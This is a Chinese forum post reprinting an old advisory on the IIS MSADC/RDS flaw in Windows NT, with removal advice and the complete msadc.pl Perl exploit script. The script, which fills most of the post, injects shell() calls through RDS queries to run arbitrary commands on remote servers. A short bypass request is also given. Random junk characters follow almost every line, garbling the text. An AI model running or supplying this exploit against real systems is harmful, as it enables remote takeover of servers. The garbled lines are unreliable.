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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) L_vl%ii-  
$,, PF/N8c  
涉及程序: QOg >|"KL  
Microsoft NT server l}VE8-XB  
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描述: zN[& iKf  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,z/aT6M?H  
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详细: w@cW`PlF  
如果你没有时间读详细内容的话,就删除: C]5 kQ1Og  
c:\Program Files\Common Files\System\Msadc\msadcs.dll kV?fie<\)  
有关的安全问题就没有了。 Bz-jy.  
v=lW5%r,'  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 !1=OaOT  
6V JudNA  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 $'Mf$h  
关于利用ODBC远程漏洞的描述,请参看: ;2 &"  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm LAf#Rco4  
t&{;6MiE  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 J({D~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp I(pq3_9$  
x@rQ7K>  
这里不再论述。 D0p*Sg  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: lm;hW&O9  
a0sz$u  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset !aF~5P7%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! V27RK-.N!  
S}%z0g<  
-~ ~h1  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +@3+WD  
%wOkp`1-  
#!perl yFDeY PZP  
# Z)E)-2U$@  
# MSADC/RDS 'usage' (aka exploit) script ,jis@]:  
# c5WMN.z  
# by rain.forest.puppy ~i%=1&K&`  
# QWfSm^ t  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me {P~rf&Ee  
# beta test and find errors! d8jH?P-"  
naf ~#==vc  
use Socket; use Getopt::Std; ySO\9#Ho  
getopts("e:vd:h:XR", \%args); 9c)#j&2?H  
;n(f?RO3X  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Fk3(( n=  
qovsM M  
if (!defined $args{h} && !defined $args{R}) { rn*'[i?  
print qq~ ,*6K3/kW  
Usage: msadc.pl -h <host> { -d <delay> -X -v } qD>^aEd@4  
-h <host> = host you want to scan (ip or domain) mXyP;k  
-d <seconds> = delay between calls, default 1 second ;i6~iLY  
-X = dump Index Server path table, if available \M\7k5$  
-v = verbose [C6ba{9 B  
-e = external dictionary file for step 5 n Ab~  
?}s;,_GH  
Or a -R will resume a command session k"i3$^v8  
BM /FOY;  
~; exit;} 8Zsaq1S  
[//i "Nm  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; VrZfjpV  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} NLL"~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Ju47}t%HB  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 8N'hG,  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q NMZR  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <>\|hno}  
%`5 (SC].  
if (!defined $args{R}){ $ret = &has_msadc; raPOF6-_rH  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} tp cB}HUv  
J Ah!#S(  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Zc~7R`v7}  
. "cmd /c "; OU,FU@6,7w  
$in=<STDIN>; chomp $in; }bS1M  
$command="cmd /c " . $in ; d0I s|Gs  
}UW*[dCf>C  
if (defined $args{R}) {&load; exit;} ! s =$UC  
gE\ ^ vaB  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; C 6 \  
&try_btcustmr; C][hH?.  
Y%"$v0D  
print "\nStep 2: Trying to make our own DSN..."; bOr11?  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )9yQ C  
 1}=D  
print "\nStep 3: Trying known DSNs..."; T"Y#u  
&known_dsn; ru eaP  
"{D/a7]lC  
print "\nStep 4: Trying known .mdbs..."; $oQOOa@;i)  
&known_mdb; J2VPOn  
:V+rC]0  
if (defined $args{e}){ #2_FM!e  
print "\nStep 5: Trying dictionary of DSN names..."; u5}:[4N%I  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 06.%9R{  
N+c|0  
print "Sorry Charley...maybe next time?\n"; wea  
exit; q ][kD2  
X.4WVI  
############################################################################## qco'neR"z  
# atq7t X  
sub sendraw { # ripped and modded from whisker Ly2,*\7  
sleep($delay); # it's a DoS on the server! At least on mine... Y0,{fw<  
my ($pstr)=@_; 3?FY?Q[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'W_NRt:  
die("Socket problems\n"); nb/q!8  
if(connect(S,pack "SnA4x8",2,80,$target)){ %;QK5L   
select(S); $|=1; ,g7O   
print $pstr; my @in=<S>; hTLf$_|P  
select(STDOUT); close(S); tB>!1}v  
return @in; z]8Mv(eL  
} else { die("Can't connect...\n"); }} JE9v+a{7  
*g+ ZXB  
############################################################################## $EFS_*<X  
HU?1>}4L  
sub make_header { # make the HTTP request G)< B7-72;  
my $msadc=<<EOT )4uWB2ZRoi  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 h7E?7nR  
User-Agent: ACTIVEDATA SnFyK5  
Host: $ip ck] I?  
Content-Length: $clen aYa`ex  
Connection: Keep-Alive As)?~dV  
F!#)l*OX;  
ADCClientVersion:01.06 im &N &A  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Zt9G[[]  
R5=J:o  
--!ADM!ROX!YOUR!WORLD! ENhLonM eV  
Content-Type: application/x-varg _WWC8?6 U  
Content-Length: $reqlen -M=BD-_.h  
vOlfyH>  
EOT 4utwcXL  
; $msadc=~s/\n/\r\n/g; m=9b/Nr4  
return $msadc;} RM_%u=jC  
),N,!15j,  
############################################################################## %W D^0U|  
q#AEu xI1  
sub make_req { # make the RDS request M(+Pd_c6  
my ($switch, $p1, $p2)=@_; 8+w*,Ry`  
my $req=""; my $t1, $t2, $query, $dsn; ]}/Rl}_  
,HDhP  
if ($switch==1){ # this is the btcustmr.mdb query ASy?^Jrs5  
$query="Select * from Customers where City=" . make_shell(); 7(o`>7x*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . FA,n>  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} o$L%t@   
|E6_TZ#=  
elsif ($switch==2){ # this is general make table query c+3(|k-M  
$query="create table AZZ (B int, C varchar(10))"; 87!jn'A  
$dsn="$p1";} dnD@BQ  
>A{Dpsi\  
elsif ($switch==3){ # this is general exploit table query  Q(w;  
$query="select * from AZZ where C=" . make_shell(); pl r@  
$dsn="$p1";} Gz{%Z$A~o  
ldTXW(^j  
elsif ($switch==4){ # attempt to hork file info from index server _0Ea 3K  
$query="select path from scope()"; O)&W0` VY  
$dsn="Provider=MSIDXS;";} l GYW[0dy  
ddN(L`nd  
elsif ($switch==5){ # bad query VCc=dME  
$query="select"; Tfh2>  
$dsn="$p1";} /A0_#g:2*#  
7 w,D2T  
$t1= make_unicode($query); hGD@v {/  
$t2= make_unicode($dsn); *bp09XG  
$req = "\x02\x00\x03\x00"; X9?)P5h=  
$req.= "\x08\x00" . pack ("S1", length($t1)); MUl7o@{'  
$req.= "\x00\x00" . $t1 ; e]1'D  
$req.= "\x08\x00" . pack ("S1", length($t2)); o7E|wS  
$req.= "\x00\x00" . $t2 ; ,TWlg  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Rnwm6nu  
return $req;} (Nc~l ^a  
Vc5>I_   
############################################################################## ^*fD  
+:^l|6%}  
sub make_shell { # this makes the shell() statement 'v<v6vs  
return "'|shell(\"$command\")|'";} tUH?N/qn  
T=YVG@fm?  
############################################################################## |qe;+)0>K  
_(g0$vRP~  
sub make_unicode { # quick little function to convert to unicode ~-vCY  
my ($in)=@_; my $out; L<=Dl  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } A3tv'-e9  
return $out;} yC$m(Y12FN  
-B-G$ii  
############################################################################## ka!w\v  
,!Q nh:  
sub rdo_success { # checks for RDO return success (this is kludge) R4 eu,,J  
my (@in) = @_; my $base=content_start(@in); U:8] G  
if($in[$base]=~/multipart\/mixed/){ z0LspRaz  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} oQ -m  
return 0;} "[7-1}l  
$i+@vbU6  
############################################################################## dz+!yE\f$  
RdD>&D$I  
sub make_dsn { # this makes a DSN for us `,SL\\%u  
my @drives=("c","d","e","f"); ~.3v\Q  
print "\nMaking DSN: "; RN 4?]8  
foreach $drive (@drives) { *_I`{9~'  
print "$drive: "; |Io:D:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . U)f('zD  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" U%bm{oVn  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); P]n0L4c  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,u>LAo0  
return 0 if $2 eq "404"; # not found/doesn't exist J/P[9m30[  
if($2 eq "200") { V5$ Gb6?K  
foreach $line (@results) { zx<PX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} "XxmiK  
} return 0;} EGgw#JAi#t  
'6vo#D9M  
############################################################################## ^k7I+A  
@4UX~=:686  
sub verify_exists { \{ | GK  
my ($page)=@_; 0<v5_ pB  
my @results=sendraw("GET $page HTTP/1.0\n\n"); PP$2s]{  
return $results[0];} .n8O 3V  
+&)/dHbL`]  
############################################################################## #z>I =gl  
?&9=f\/P  
sub try_btcustmr { *K_8=TIA*  
my @drives=("c","d","e","f"); 0IqGy}+VU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); M`K]g&57hL  
mW!n%f  
foreach $dir (@dirs) { <eMqg u  
print "$dir -> "; # fun status so you can see progress }*rSg .  
foreach $drive (@drives) { Htr]_<@  
print "$drive: "; # ditto 'gor*-o:wu  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; I)1ih  
$reqlenlen=length( "$reqlen" );  Mj1f;$  
$clen= 206 + $reqlenlen + $reqlen; :(ql=+vDb4  
_+ 9i  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |U1 [R\X  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} "{~FEx4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ]cP%d-x}  
;b 65s9n^b  
############################################################################## *w0|`[P+h  
*(5;5r  
sub odbc_error { @!oN]0`F;  
my (@in)=@_; my $base; \( V1-,  
my $base = content_start(@in); I,#E`)  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this i[9gcL"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @,1_CqV  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @` Pn<_L  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `lE&:)  
return $in[$base+4].$in[$base+5].$in[$base+6];} I~F&@  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ,nL~?h-Zh  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . j[i*;0) |  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} p5E okh  
!yj1X Ar  
##############################################################################  ij:a+T  
`q]' ^EzJ  
sub verbose { @mZK[*Ak<*  
my ($in)=@_; nI?*[y}  
return if !$verbose; j?*n@'   
print STDOUT "\n$in\n";} $!. [R}  
r4[=pfe25  
############################################################################## 1lIs jBo g  
K_Y{50#  
sub save { 2~hdJ/  
my ($p1, $p2, $p3, $p4)=@_; jt}oq%Bf  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; @1'OuX^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Z?xaXFm_  
close OUT;} &TRKd)wd  
pD[&,gV$  
############################################################################## ~SBW`=aP}  
'fK=;mM  
sub load { [sG`D-\P[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; gYN;F u-9Z  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); A4(L47^  
@p=<IN>; close(IN); XM!oN^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); "Cxj_V@\  
$target= inet_aton($ip) || die("inet_aton problems"); i 7T#WfF  
print "Resuming to $ip ..."; }2S!;swg+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 6!0NFP~b  
if($p[1]==1) { <<S4l~"o  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; cd,'37pZ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; cHr]{@7Cs  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); YIW9z{rrs  
if (rdo_success(@results)){print "Success!\n";} XsJ`x  
else { print "failed\n"; verbose(odbc_error(@results));}} 'X+aYF }Ye  
elsif ($p[1]==3){ H#GR*4x  
if(run_query("$p[3]")){ pW8?EGO@  
print "Success!\n";} else { print "failed\n"; }} -SD:G]un  
elsif ($p[1]==4){ %P1zb7:8  
if(run_query($drvst . "$p[3]")){ f 5bX,e)!  
print "Success!\n"; } else { print "failed\n"; }} Y<POdbg  
exit;} vh"';L_*37  
An(gHi;1$  
############################################################################## ?z M   
|mG;?>c)  
sub create_table { 2&'uO'K  
my ($in)=@_; ,[p?u']yZz  
$reqlen=length( make_req(2,$in,"") ) - 28; BeRs;^r+  
$reqlenlen=length( "$reqlen" ); yg}L,JJU<  
$clen= 206 + $reqlenlen + $reqlen; +e>G V61  
my @results=sendraw(make_header() . make_req(2,$in,""));  >h2qam  
return 1 if rdo_success(@results); "K>!+<  
my $temp= odbc_error(@results); verbose($temp); 9{nU\am!\  
return 1 if $temp=~/Table 'AZZ' already exists/; X)]>E]X  
return 0;} !V#*(_+n  
?xKiN5q"6  
############################################################################## O<!^^7/h0  
@.cord`  
sub known_dsn { 6C.!+km  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go P[H`]q|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", n}Thc6f3D  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", S|u5RU8*"|  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); mhIGunK;+  
zB y%$5~Fw  
foreach $dSn (@dsns) { u]B b^[  
print "."; L  ~Vw`C  
next if (!is_access("DSN=$dSn")); V^qBbk%l>D  
if(create_table("DSN=$dSn")){ >/.jB/q  
print "$dSn successful\n"; /:A239=+?  
if(run_query("DSN=$dSn")){ gjT`<CW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { oIE(`l0l  
print "Something's borked. Use verbose next time\n";}}} print "\n";} y'f-4E<  
}1CO>a<  
############################################################################## hHw1<! M  
8_>:0(y  
sub is_access { Gg6cjc=dC  
my ($in)=@_; <5]_u:  
$reqlen=length( make_req(5,$in,"") ) - 28; 4mBM5Tv  
$reqlenlen=length( "$reqlen" ); UlN}SddI9  
$clen= 206 + $reqlenlen + $reqlen; /Y\q&}  
my @results=sendraw(make_header() . make_req(5,$in,"")); -{eiV0<^  
my $temp= odbc_error(@results); 7je1vNs  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); T;3~teVYB  
return 0;} c?xeBC1-  
vA*NJ%&`  
############################################################################## xop\W4s_  
.*EP$pc  
sub run_query { K24y;968  
my ($in)=@_; Q4ii25]*  
$reqlen=length( make_req(3,$in,"") ) - 28; IP !zg|c,  
$reqlenlen=length( "$reqlen" ); IMSm  
$clen= 206 + $reqlenlen + $reqlen; %iV\nFal>  
my @results=sendraw(make_header() . make_req(3,$in,"")); $\4Or  
return 1 if rdo_success(@results); z5:3.+M5  
my $temp= odbc_error(@results); verbose($temp); 6x;"T+BSSS  
return 0;} /KvpJ4  
TKw>eGe  
############################################################################## Z-U3Tr SI  
Grd9yLF  
sub known_mdb { `n|k+tsC  
my @drives=("c","d","e","f","g"); I GcR5/3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S9/\L6Rmf  
my $dir, $drive, $mdb; DML0paOm5  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; P#A|Pn<p  
8r\xQr'8h  
# this is sparse, because I don't know of many Q"xDRQA  
my @sysmdbs=( "\\catroot\\icatalog.mdb", jT QN(a9Y  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *OE>gg&?Nh  
"\\system32\\certmdb.mdb", a~tBgy+9  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% g=v[@{9Pw  
SR)@'-Wd  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", '?fn} V  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Yu^}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", W\DJXM]b  
"\\cfusion\\cfapps\\security\\realm_.mdb", &zP\K~Nt  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m} =<@b:l  
"\\cfusion\\database\\cfexamples.mdb", +fIy eX  
"\\cfusion\\database\\cfsnippets.mdb", JR_c]AQYu  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", L?y,xA_  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  [7)#3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", zgpPu4t  
"\\cfusion\\database\\smpolicy.mdb", VKrKA71Z~  
"\\cfusion\\database\cypress.mdb", Z3T26Uk  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", uqy~hY  
"\\website\\cgi-win\\dbsample.mdb", 9>@"W-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ^h|'\-d\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" b;|^62  
); #these are just |om3*]7  
foreach $drive (@drives) { :\1&5Pm]  
foreach $dir (@dirs){ 9Bmgz =8  
foreach $mdb (@sysmdbs) { JeCEj=_Z  
print "."; [c6_6q As  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ U(qM( E  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; z<P#dj x  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ {la ^useg[  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; R ?\8SdJ  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Un[#zh<4  
&jPsdv h  
foreach $drive (@drives) { gzdgnF2  
foreach $mdb (@mdbs) { 8|Y^z_C  
print "."; ~yf5$~Z  
if(create_table($drv . $drive . $dir . $mdb)){ MN)<Tr2f  
print "\n" . $drive . $dir . $mdb . " successful\n"; mKq9mA"(E  
if(run_query($drv . $drive . $dir . $mdb)){ 1r w>gR  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; qOa-@MN  
} else { print "Something's borked. Use verbose next time\n"; }}}} oq<#  
} Bp6Evi  
-XY]WWlq  
############################################################################## (/Y gcT  
&q` =xF  
sub hork_idx { QnOa?0HL/  
print "\nAttempting to dump Index Server tables...\n"; p|bpE F=U  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~E`A,  
$reqlen=length( make_req(4,"","") ) - 28; AAl`bhx'n  
$reqlenlen=length( "$reqlen" ); "ChBcxvxb:  
$clen= 206 + $reqlenlen + $reqlen; z?YGE iR/}  
my @results=sendraw2(make_header() . make_req(4,"","")); T +4!g|Y  
if (rdo_success(@results)){ Ip 1QmP  
my $max=@results; my $c; my %d; ;[ zx'e?!  
for($c=19; $c<$max; $c++){ h/w- &7t  
$results[$c]=~s/\x00//g; 42Ffx?Qmv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; {5z?5i ?D  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $fvUb_n  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; cE]kI,Fw,M  
$d{"$1$2"}="";} FRF}V@~  
foreach $c (keys %d){ print "$c\n"; } "Ii!)n,  
} else {print "Index server doesn't seem to be installed.\n"; }} F;NZJEy  
mg;AcAS.o,  
############################################################################## i\eykYc,  
\)"qN^we  
sub dsn_dict { U&a]gkr  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^e 6(#SqR  
while(<IN>){ 6qA{l_V  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; p_(hM&>C  
next if (!is_access("DSN=$dSn")); G`W+m*[U+M  
if(create_table("DSN=$dSn")){ XZT( :(  
print "$dSn successful\n"; u1kbWbHu(  
if(run_query("DSN=$dSn")){ hP#&]W3:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xO@OkCue  
print "Something's borked. Use verbose next time\n";}}} p.IfJ|  
print "\n"; close(IN);} e)bqE^JP  
M*{e e0\`r  
############################################################################## |ZKchd8Yq  
J)[(4R>  
sub sendraw2 { # ripped and modded from whisker 4%{m7CK}  
sleep($delay); # it's a DoS on the server! At least on mine... \%VoX` B  
my ($pstr)=@_; g?+P&FL#I  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?{dno=  
die("Socket problems\n"); +]_} \  
if(connect(S,pack "SnA4x8",2,80,$target)){ Zj0&/S  
print "Connected. Getting data"; fj JIF%  
open(OUT,">raw.out"); my @in; *Ee# x!O  
select(S); $|=1; print $pstr; %qv7;E2C  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 87/{\h  
close(OUT); select(STDOUT); close(S); return @in; `'QPe42  
} else { die("Can't connect...\n"); }} t8[:}[Jx  
[6tQv<}^  
############################################################################## E0PBdiD6hs  
2gv(`NKYE  
sub content_start { # this will take in the server headers hv)($;  
my (@in)=@_; my $c; ;Os3 !  
for ($c=1;$c<500;$c++) { +Snjb0  
if($in[$c] =~/^\x0d\x0a/){ :4Vt  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } g<-cHF  
else { return $c+1; }}} _ 8>"&1n  
return -1;} # it should never get here actually w$!n8A qs  
/L 4WWQ5  
############################################################################## KKzvoc?Bt  
'huLv(Uu  
sub funky { RPWYm  
my (@in)=@_; my $error=odbc_error(@in); ro{MD s  
if($error=~/ADO could not find the specified provider/){  x1et,&,  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v]!7=>/2  
exit;} J5"*OH:f  
if($error=~/A Handler is required/){ *$1)&2i  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5%$#3LT|  
exit;} 3WY W])  
if($error=~/specified Handler has denied Access/){ m}E$6E^~O  
print "\nServer has custom handler filters (they most likely are patched)\n"; ( FRf.mv{  
exit;}} T_dd7Ym'8  
cG'Wh@  
############################################################################## Ww~0k!8,t  
l9h;dI{6  
sub has_msadc { =EJ"edw]%0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \4[Ta,;t  
my $base=content_start(@results); zl[JnVF\6  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); CAA~VEUL  
return 0;} L5W>in5(  
$9~1s/('  
######################## @:@rks&  
`4qKQJw  
yiq#p "Hs  
解决方案: :KLD~k7yA(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll IY&a!  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 p rgjU  
F?kVW[h?q  
拿出来充数 哈哈
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